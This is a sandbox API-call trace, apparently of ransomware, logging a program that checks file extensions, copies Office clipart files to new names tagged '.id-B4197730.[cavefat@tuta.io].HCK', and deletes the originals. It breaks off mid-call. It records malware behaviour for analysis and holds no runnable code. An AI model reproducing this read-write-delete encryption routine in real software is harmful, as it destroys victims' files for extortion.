[0170.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF") returned 68 [0170.233] lstrlenW (lpString=".jpg") returned 4 [0170.233] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.233] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.233] lstrlenW (lpString="J0195248.WMF") returned 12 [0170.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0170.237] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=7332) returned 1 [0170.237] CloseHandle (hObject=0x360) returned 1 [0170.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf")) returned 0x220 [0170.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.248] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.248] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0170.254] GetLastError () returned 0x0 [0170.254] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1ca4, lpOverlapped=0x0) returned 1 [0170.255] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1cb0, lpOverlapped=0x0) returned 1 [0170.256] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.256] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.256] SetEndOfFile (hFile=0x354) returned 1 [0170.260] CloseHandle (hObject=0x354) returned 1 [0170.260] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.260] SetEndOfFile (hFile=0x39c) returned 1 [0170.265] CloseHandle (hObject=0x39c) returned 1 [0170.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf")) returned 1 [0170.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0170.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0170.273] lstrlenW (lpString=".doc") returned 4 [0170.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.274] lstrlenW (lpString=".docx") returned 5 [0170.274] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.274] lstrlenW (lpString=".pdf") returned 4 [0170.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.274] lstrlenW (lpString=".xls") returned 4 [0170.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.274] lstrlenW (lpString=".xlsx") returned 5 [0170.274] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.274] lstrlenW (lpString=".ppt") returned 4 [0170.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0170.274] lstrlenW (lpString=".zip") returned 4 [0170.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.274] lstrlenW (lpString=".rar") returned 4 [0170.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.274] lstrlenW (lpString=".bz2") returned 4 [0170.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.274] lstrlenW (lpString=".7z") returned 3 [0170.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0170.274] lstrlenW (lpString=".dbf") returned 4 [0170.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0170.274] lstrlenW (lpString=".1cd") returned 4 [0170.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0170.274] lstrlenW (lpString=".jpg") returned 4 [0170.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0170.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0170.274] lstrlenW (lpString=".doc") returned 4 [0170.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.274] lstrlenW (lpString=".docx") returned 5 [0170.274] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.274] lstrlenW (lpString=".pdf") returned 4 [0170.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.274] lstrlenW (lpString=".xls") returned 4 [0170.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.274] lstrlenW (lpString=".xlsx") returned 5 [0170.274] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.274] lstrlenW (lpString=".ppt") returned 4 [0170.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0170.275] lstrlenW (lpString=".zip") returned 4 [0170.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.275] lstrlenW (lpString=".rar") returned 4 [0170.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.275] lstrlenW (lpString=".bz2") returned 4 [0170.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.275] lstrlenW (lpString=".7z") returned 3 [0170.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0170.275] lstrlenW (lpString=".dbf") returned 4 [0170.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0170.275] lstrlenW (lpString=".1cd") returned 4 [0170.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF") returned 68 [0170.275] lstrlenW (lpString=".jpg") returned 4 [0170.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.275] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.275] lstrlenW (lpString="J0195342.WMF") returned 12 [0170.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0170.277] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=21328) returned 1 [0170.277] CloseHandle (hObject=0x380) returned 1 [0170.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf")) returned 0x220 [0170.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0170.287] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.287] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0170.293] GetLastError () returned 0x0 [0170.293] ReadFile (in: hFile=0x380, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x5350, lpOverlapped=0x0) returned 1 [0170.296] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x5360, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5360, lpOverlapped=0x0) returned 1 [0170.297] ReadFile (in: hFile=0x380, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.297] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.297] SetEndOfFile (hFile=0x308) returned 1 [0170.303] CloseHandle (hObject=0x308) returned 1 [0170.304] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.304] SetEndOfFile (hFile=0x380) returned 1 [0170.305] CloseHandle (hObject=0x380) returned 1 [0170.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf")) returned 1 [0170.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0170.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0170.308] lstrlenW (lpString=".doc") returned 4 [0170.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.308] lstrlenW (lpString=".docx") returned 5 [0170.308] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.308] lstrlenW (lpString=".pdf") returned 4 [0170.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.308] lstrlenW (lpString=".xls") returned 4 [0170.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.308] lstrlenW (lpString=".xlsx") returned 5 [0170.308] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.308] lstrlenW (lpString=".ppt") returned 4 [0170.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0170.308] lstrlenW (lpString=".zip") returned 4 [0170.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.308] lstrlenW (lpString=".rar") returned 4 [0170.308] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.308] lstrlenW (lpString=".bz2") returned 4 [0170.308] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.308] lstrlenW (lpString=".7z") returned 3 [0170.308] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0170.308] lstrlenW (lpString=".dbf") returned 4 [0170.308] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0170.308] lstrlenW (lpString=".1cd") returned 4 [0170.308] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0170.308] lstrlenW (lpString=".jpg") returned 4 [0170.308] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0170.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0170.308] lstrlenW (lpString=".doc") returned 4 [0170.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.308] lstrlenW (lpString=".docx") returned 5 [0170.308] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.308] lstrlenW (lpString=".pdf") returned 4 [0170.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.309] lstrlenW (lpString=".xls") returned 4 [0170.309] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.309] lstrlenW (lpString=".xlsx") returned 5 [0170.309] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.309] lstrlenW (lpString=".ppt") returned 4 [0170.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0170.309] lstrlenW (lpString=".zip") returned 4 [0170.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.309] lstrlenW (lpString=".rar") returned 4 [0170.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.309] lstrlenW (lpString=".bz2") returned 4 [0170.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.309] lstrlenW (lpString=".7z") returned 3 [0170.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0170.309] lstrlenW (lpString=".dbf") returned 4 [0170.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0170.309] lstrlenW (lpString=".1cd") returned 4 [0170.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0170.309] lstrlenW (lpString=".jpg") returned 4 [0170.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.309] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.309] lstrlenW (lpString="J0196110.WMF") returned 12 [0170.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196110.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0170.311] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5326) returned 1 [0170.311] CloseHandle (hObject=0x378) returned 1 [0170.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196110.wmf")) returned 0x220 [0170.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196110.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196110.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.322] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.323] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196110.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0170.329] GetLastError () returned 0x0 [0170.329] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x14ce, lpOverlapped=0x0) returned 1 [0170.332] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x14d0, lpOverlapped=0x0) returned 1 [0170.333] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.333] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.333] SetEndOfFile (hFile=0x354) returned 1 [0170.340] CloseHandle (hObject=0x354) returned 1 [0170.340] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.340] SetEndOfFile (hFile=0x30c) returned 1 [0170.342] CloseHandle (hObject=0x30c) returned 1 [0170.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.343] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196110.wmf")) returned 1 [0170.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0170.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0170.345] lstrlenW (lpString=".doc") returned 4 [0170.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.345] lstrlenW (lpString=".docx") returned 5 [0170.345] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.345] lstrlenW (lpString=".pdf") returned 4 [0170.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.345] lstrlenW (lpString=".xls") returned 4 [0170.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.345] lstrlenW (lpString=".xlsx") returned 5 [0170.345] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.345] lstrlenW (lpString=".ppt") returned 4 [0170.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0170.345] lstrlenW (lpString=".zip") returned 4 [0170.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.345] lstrlenW (lpString=".rar") returned 4 [0170.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.345] lstrlenW (lpString=".bz2") returned 4 [0170.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.345] lstrlenW (lpString=".7z") returned 3 [0170.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0170.345] lstrlenW (lpString=".dbf") returned 4 [0170.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0170.345] lstrlenW (lpString=".1cd") returned 4 [0170.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0170.345] lstrlenW (lpString=".jpg") returned 4 [0170.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0170.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0170.345] lstrlenW (lpString=".doc") returned 4 [0170.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.346] lstrlenW (lpString=".docx") returned 5 [0170.346] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.346] lstrlenW (lpString=".pdf") returned 4 [0170.346] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.346] lstrlenW (lpString=".xls") returned 4 [0170.346] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.346] lstrlenW (lpString=".xlsx") returned 5 [0170.346] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.346] lstrlenW (lpString=".ppt") returned 4 [0170.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0170.346] lstrlenW (lpString=".zip") returned 4 [0170.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.346] lstrlenW (lpString=".rar") returned 4 [0170.346] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.346] lstrlenW (lpString=".bz2") returned 4 [0170.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.346] lstrlenW (lpString=".7z") returned 3 [0170.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0170.346] lstrlenW (lpString=".dbf") returned 4 [0170.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0170.346] lstrlenW (lpString=".1cd") returned 4 [0170.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196110.WMF") returned 68 [0170.346] lstrlenW (lpString=".jpg") returned 4 [0170.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.346] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.346] lstrlenW (lpString="J0196364.WMF") returned 12 [0170.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: 